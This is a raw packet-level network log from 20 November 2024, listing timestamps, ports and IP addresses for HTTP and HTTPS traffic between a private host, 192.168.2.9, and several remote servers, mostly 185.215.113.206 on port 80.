Nov 20, 2024 16:51:00.202502012 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.202545881 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.202651978 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.202698946 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.203524113 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.203536034 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.203569889 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.203591108 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.204452991 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.204469919 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.204498053 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.204515934 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.205365896 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.205415010 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.205516100 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.205555916 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.206324100 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.206338882 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.206387043 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.207173109 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.207217932 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.207297087 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.207346916 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.208020926 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.208080053 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.208185911 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.208233118 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.209182978 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.209233999 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.209316969 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.209358931 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.209834099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.209881067 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.209999084 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.210040092 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.210850000 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.210903883 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.237700939 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.237736940 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.237766981 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.237802029 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.238059044 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.238120079 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.238161087 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.238207102 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.238938093 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.238987923 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.239124060 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.239188910 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.239839077 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.239892006 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.240119934 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.240180016 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.240233898 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.240279913 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.241116047 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.241169930 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.241234064 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.241287947 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.241949081 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.242000103 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.242058039 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.242099047 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.242901087 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.242960930 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.242991924 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.243033886 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.243872881 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.243938923 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.243946075 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.244031906 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.244781017 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.244831085 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.244858980 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.244904041 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.245665073 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.245716095 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.245733976 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.245779037 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.246731043 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.246829987 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.246988058 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.247030973 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.265595913 CET	443	49811	20.96.153.111	192.168.2.9
Nov 20, 2024 16:51:00.265876055 CET	49811	443	192.168.2.9	20.96.153.111
Nov 20, 2024 16:51:00.265892982 CET	443	49811	20.96.153.111	192.168.2.9
Nov 20, 2024 16:51:00.267065048 CET	443	49811	20.96.153.111	192.168.2.9
Nov 20, 2024 16:51:00.267168045 CET	49811	443	192.168.2.9	20.96.153.111
Nov 20, 2024 16:51:00.273823023 CET	49811	443	192.168.2.9	20.96.153.111
Nov 20, 2024 16:51:00.273968935 CET	443	49811	20.96.153.111	192.168.2.9
Nov 20, 2024 16:51:00.274127007 CET	49811	443	192.168.2.9	20.96.153.111
Nov 20, 2024 16:51:00.274143934 CET	443	49811	20.96.153.111	192.168.2.9
Nov 20, 2024 16:51:00.310802937 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.310857058 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.310863972 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.310892105 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.311275959 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.311342001 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.311379910 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.311431885 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.311467886 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.311518908 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.312294960 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.312345028 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.312417030 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.312458038 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.313209057 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.313261986 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.313296080 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.313340902 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.316082001 CET	443	49810	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:00.316426992 CET	49810	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:00.316440105 CET	443	49810	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:00.317523956 CET	443	49810	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:00.317576885 CET	49810	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:00.318272114 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.318336964 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.318998098 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.319015980 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.319030046 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.319058895 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.319063902 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.319078922 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.319092989 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.319118023 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.319183111 CET	49810	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:00.319248915 CET	443	49810	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:00.319284916 CET	49810	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:00.319468021 CET	49810	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:00.319474936 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.319482088 CET	443	49810	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:00.319554090 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.319628000 CET	49811	443	192.168.2.9	20.96.153.111
Nov 20, 2024 16:51:00.319736958 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.319777012 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.320357084 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.320492983 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.320508957 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.320548058 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.321464062 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.321476936 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.321522951 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.321541071 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.322439909 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.322453022 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.322499037 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.370393991 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.370487928 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.370520115 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.370554924 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.370841980 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.370954990 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.371004105 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.371570110 CET	49810	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:00.371782064 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.371848106 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.371876955 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.372724056 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.372780085 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.373102903 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.373152018 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.373661041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.373749018 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.373778105 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.373820066 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.374519110 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.374680996 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.374738932 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.375411987 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.375504971 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.375543118 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.375617981 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.376372099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.376502037 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.376547098 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.376585007 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.377275944 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.377372026 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.377391100 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.377496958 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.378282070 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.378396034 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.378447056 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.379291058 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.379303932 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.379328012 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.379340887 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.379436970 CET	49821	443	192.168.2.9	23.219.82.10
Nov 20, 2024 16:51:00.379471064 CET	443	49821	23.219.82.10	192.168.2.9
Nov 20, 2024 16:51:00.379532099 CET	49821	443	192.168.2.9	23.219.82.10
Nov 20, 2024 16:51:00.380435944 CET	49821	443	192.168.2.9	23.219.82.10
Nov 20, 2024 16:51:00.380448103 CET	443	49821	23.219.82.10	192.168.2.9
Nov 20, 2024 16:51:00.380986929 CET	49822	443	192.168.2.9	23.219.82.10
Nov 20, 2024 16:51:00.381032944 CET	443	49822	23.219.82.10	192.168.2.9
Nov 20, 2024 16:51:00.381540060 CET	49822	443	192.168.2.9	23.219.82.10
Nov 20, 2024 16:51:00.382883072 CET	49822	443	192.168.2.9	23.219.82.10
Nov 20, 2024 16:51:00.382896900 CET	443	49822	23.219.82.10	192.168.2.9
Nov 20, 2024 16:51:00.391976118 CET	49823	443	192.168.2.9	204.79.197.219
Nov 20, 2024 16:51:00.392010927 CET	443	49823	204.79.197.219	192.168.2.9
Nov 20, 2024 16:51:00.392066002 CET	49823	443	192.168.2.9	204.79.197.219
Nov 20, 2024 16:51:00.392985106 CET	49823	443	192.168.2.9	204.79.197.219
Nov 20, 2024 16:51:00.392995119 CET	443	49823	204.79.197.219	192.168.2.9
Nov 20, 2024 16:51:00.393796921 CET	49824	443	192.168.2.9	204.79.197.219
Nov 20, 2024 16:51:00.393831015 CET	443	49824	204.79.197.219	192.168.2.9
Nov 20, 2024 16:51:00.393886089 CET	49824	443	192.168.2.9	204.79.197.219
Nov 20, 2024 16:51:00.394090891 CET	49824	443	192.168.2.9	204.79.197.219
Nov 20, 2024 16:51:00.394104004 CET	443	49824	204.79.197.219	192.168.2.9
Nov 20, 2024 16:51:00.430306911 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.455292940 CET	443	49818	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.455539942 CET	49818	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.455575943 CET	443	49818	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.456655025 CET	443	49818	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.456804037 CET	49818	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.457000017 CET	49818	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.457068920 CET	443	49818	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.457154036 CET	49818	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.471899986 CET	443	49815	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.472131968 CET	49815	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.472147942 CET	443	49815	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.473256111 CET	443	49815	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.473541021 CET	49815	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.473671913 CET	49815	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.473678112 CET	443	49815	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.473717928 CET	443	49815	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.482639074 CET	443	49816	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.483016968 CET	49816	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.483031988 CET	443	49816	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.484107018 CET	443	49812	13.107.246.40	192.168.2.9
Nov 20, 2024 16:51:00.484209061 CET	443	49816	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.484273911 CET	49816	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.484359026 CET	49812	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:51:00.484385967 CET	443	49812	13.107.246.40	192.168.2.9
Nov 20, 2024 16:51:00.484725952 CET	443	49812	13.107.246.40	192.168.2.9
Nov 20, 2024 16:51:00.484906912 CET	49816	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.484982014 CET	443	49816	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.485439062 CET	49812	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:51:00.485507965 CET	443	49812	13.107.246.40	192.168.2.9
Nov 20, 2024 16:51:00.485642910 CET	49816	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.485651016 CET	443	49816	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.485771894 CET	49812	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:51:00.503334999 CET	443	49818	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.510552883 CET	49818	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.510562897 CET	443	49818	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.511559010 CET	443	49814	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.511943102 CET	49814	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.511970997 CET	443	49814	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.513010025 CET	443	49817	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.513183117 CET	443	49814	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.513199091 CET	49817	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.513226986 CET	443	49817	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.513238907 CET	49814	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.513628960 CET	49814	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.513699055 CET	443	49814	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.513868093 CET	49814	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.513879061 CET	443	49814	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.514688015 CET	443	49817	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.514760971 CET	49817	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.515064001 CET	49817	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.515129089 CET	443	49817	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.515202999 CET	49817	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.525789976 CET	49816	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.525789976 CET	49815	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.531332016 CET	443	49812	13.107.246.40	192.168.2.9
Nov 20, 2024 16:51:00.550043106 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.555342913 CET	443	49817	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.559566975 CET	49818	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.559568882 CET	49814	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.559957981 CET	49817	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.559982061 CET	443	49817	23.221.239.203	192.168.2.9
Nov 20, 2024 16:51:00.605025053 CET	49817	443	192.168.2.9	23.221.239.203
Nov 20, 2024 16:51:00.709136009 CET	443	49813	13.107.246.40	192.168.2.9
Nov 20, 2024 16:51:00.709342003 CET	49813	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:51:00.709352016 CET	443	49813	13.107.246.40	192.168.2.9
Nov 20, 2024 16:51:00.709702969 CET	443	49813	13.107.246.40	192.168.2.9
Nov 20, 2024 16:51:00.710175037 CET	49813	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:51:00.710225105 CET	443	49813	13.107.246.40	192.168.2.9
Nov 20, 2024 16:51:00.710280895 CET	49813	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:51:00.734911919 CET	443	49819	18.238.49.99	192.168.2.9
Nov 20, 2024 16:51:00.735183001 CET	49819	443	192.168.2.9	18.238.49.99
Nov 20, 2024 16:51:00.735202074 CET	443	49819	18.238.49.99	192.168.2.9
Nov 20, 2024 16:51:00.735585928 CET	443	49819	18.238.49.99	192.168.2.9
Nov 20, 2024 16:51:00.736088037 CET	49819	443	192.168.2.9	18.238.49.99
Nov 20, 2024 16:51:00.736088037 CET	49819	443	192.168.2.9	18.238.49.99
Nov 20, 2024 16:51:00.736099958 CET	443	49819	18.238.49.99	192.168.2.9
Nov 20, 2024 16:51:00.736166954 CET	443	49819	18.238.49.99	192.168.2.9
Nov 20, 2024 16:51:00.749389887 CET	443	49811	20.96.153.111	192.168.2.9
Nov 20, 2024 16:51:00.749480009 CET	443	49811	20.96.153.111	192.168.2.9
Nov 20, 2024 16:51:00.749526978 CET	49811	443	192.168.2.9	20.96.153.111
Nov 20, 2024 16:51:00.750169039 CET	49811	443	192.168.2.9	20.96.153.111
Nov 20, 2024 16:51:00.750197887 CET	443	49811	20.96.153.111	192.168.2.9
Nov 20, 2024 16:51:00.751329899 CET	443	49813	13.107.246.40	192.168.2.9
Nov 20, 2024 16:51:00.755028009 CET	49825	443	192.168.2.9	20.96.153.111
Nov 20, 2024 16:51:00.755069971 CET	443	49825	20.96.153.111	192.168.2.9
Nov 20, 2024 16:51:00.755712986 CET	49825	443	192.168.2.9	20.96.153.111
Nov 20, 2024 16:51:00.755928993 CET	49825	443	192.168.2.9	20.96.153.111
Nov 20, 2024 16:51:00.755937099 CET	443	49825	20.96.153.111	192.168.2.9
Nov 20, 2024 16:51:00.760418892 CET	49813	443	192.168.2.9	13.107.246.40
Nov 20, 2024 16:51:00.776294947 CET	49819	443	192.168.2.9	18.238.49.99
Nov 20, 2024 16:51:00.804447889 CET	443	49810	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:00.805039883 CET	443	49810	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:00.805057049 CET	49810	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:00.805075884 CET	443	49810	20.44.10.122	192.168.2.9
Nov 20, 2024 16:51:00.805092096 CET	49810	443	192.168.2.9	20.44.10.122
Nov 20, 2024 16:51:00.875426054 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.875500917 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.875626087 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.875667095 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.876105070 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.876147032 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.876266956 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.876435995 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.876705885 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.876748085 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.876825094 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.876888990 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.877728939 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.877777100 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.877783060 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.877846956 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.878479958 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.878540993 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.878559113 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.878595114 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.879442930 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.879497051 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.879622936 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.879661083 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.880304098 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.880348921 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.880589962 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.880635977 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.881244898 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.881288052 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.881355047 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.881541967 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.882193089 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.882237911 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:51:00.883125067 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.883136988 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:51:00.883176088 CET	49752	80	192.168.2.9	185.215.113.206
